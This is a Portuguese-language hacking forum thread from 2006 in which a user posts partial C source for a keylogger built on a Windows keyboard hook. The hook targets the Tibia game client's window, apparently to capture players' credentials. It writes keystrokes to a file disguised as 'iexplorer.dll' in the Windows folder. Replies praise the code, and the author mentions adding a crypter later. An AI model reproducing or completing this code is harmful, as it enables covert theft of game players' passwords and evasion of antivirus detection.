FORUM DARKERS

Tecnologia & Informática => Programação => C/C#/C++ => Topic started by: Anonymous on 15 de July , 2006, 10:28:17 PM

Title: KL incompleto em C usando HOOKS
Post by: Anonymous on 15 de July , 2006, 10:28:17 PM
Bom a pedidos vo posta PARTE (nao terminei) do meu KL usando hook.

Abre seu Dev-C++ crie um novo projeto de DLL em C.

Algumas variaveis globais:

FARPROC p;
HHOOK myhook;
HINSTANCE dll;

Agora vem as funcoes que eu criei:

DLLIMPORT void StartHook(void) {
dll=LoadLibrary("keydll.dll");
p=GetProcAddress(dll,"KeyboardProc");
myhook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)p,dll,0);
}

Agora temos a funcao de CALLBACK

DLLIMPORT LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam) {
char name[100];
FILE *fp;
char classt[12];
HWND active=GetActiveWindow();
GetClassName(active,classt,12);
if (code == HC_ACTION && lParam < 0 && !strncmp(classt,"TibiaClient",11)) {
GetKeyNameText(lParam,name,100);
if( HIBYTE(GetKeyState(VK_SHIFT)) != 1 || HIBYTE(GetKeyState(VK_CAPITAL)) != 1
|| LOBYTE(GetKeyState(VK_CAPITAL)) == 0 && wParam < 48 && wParam > 57 )
name[0]=name[0]^32;
if (wParam == VK_RETURN)
sprintf(name,"%s","\r\n\0");
if (wParam == VK_SPACE)
memcpy(&name[0]," \0",2);
if (wParam >= 48 && wParam <= 57) {
name[0]=wParam;
name[1]='\0';
}
if (wParam == VK_BACK)
sprintf(name,"[%s]","BACK");
if (wParam == VK_TAB)
sprintf(name,"[%s]","TAB");
if (wParam == VK_ESCAPE )
sprintf(name,"[%s]","ESCAPE");
if (wParam >= 0x60 && wParam <= 0x69
&& HIBYTE(GetKeyState(VK_SHIFT)) != 1
|| HIBYTE(GetKeyState(VK_CAPITAL)) ) {
name[0]=wParam-0x60+48;
name[1]='\0';
}
fp=fopen("c:\\windows\\iexplorer.dll","a");
fwrite(name,1,strlen(name),fp);
fclose(fp);
}
end:
return CallNextHookEx(NULL,code,wParam,lParam);
}

Da pra ver que eu so queria pegar as teclas digitadas na janela do Tibia ne.

Agora no programa que vai chamar a funcao na DLL

Globais:

typedef int (WINAPI *LPFNEXPORTED)(void);
LPFNEXPORTED p;
HHOOK myhook;
HINSTANCE dll;

Quando for criada a janela:

case WM_CREATE:
dll=LoadLibrary("keydll.dll");
p=GetProcAddress(dll,"StartHook");
break;

Simples nao?

Curiosidades:

Quando vc cria um hook vc entra na hook chain ou seja a tecla vai passar pelo seu hook e tem q continuar o caminho.
Mas se vc tirar o return dentro daquele CALLBACK vc quebra a hook chain e trava o teclado =X

Eu sei ta meio PORCAO mas se nao intendeu pega um melhor e seja feliz.
Title: Re: KL incompleto em C usando HOOKS
Post by: locator.dll on 16 de July , 2006, 05:39:19 AM
Pelas boas contribuições...

Ponto!

vlw

locator.dll
Title: Re: KL incompleto em C usando HOOKS
Post by: Anonymous on 16 de July , 2006, 02:17:28 PM
Otimo trabalho ^^ Mto bom Durba.. parebens mesmo..
Flw..
Title: Re: KL incompleto em C usando HOOKS
Post by: HadeS on 16 de July , 2006, 08:56:06 PM
Ótimo mesmo dvd. Ficou legal.

Ricardo, parece que você consegue Hookar sem usar DLL's. Eu lí em algum lugar no fórum que você tinha conseguido. Como fez?

HadeS
Title: Re: KL incompleto em C usando HOOKS
Post by: slul on 16 de July , 2006, 10:44:02 PM
Quote from: "locator.dll"Pelas boas contribuições...

Ponto!

vlw

locator.dll

Você falou que deu ponto e não deu loca.

Hehehe


É o KL parece ser muito bom msm, parabens durbatuluk (dvd)
Title: Re: KL incompleto em C usando HOOKS
Post by: Anonymous on 17 de July , 2006, 03:52:21 PM
Pra vcs veram como eu so injusticado.
kkkkkkkkkkkk

o/ um dia eu animo termina e usa uma crypt ai
Title: Re: KL incompleto em C usando HOOKS
Post by: locator.dll on 17 de July , 2006, 05:47:29 PM
Tinha esquecido...  ;D :P

vlw

locator.dll
Title: Re: KL incompleto em C usando HOOKS
Post by: Anonymous on 17 de July , 2006, 08:56:08 PM
Essa foi otima  ::)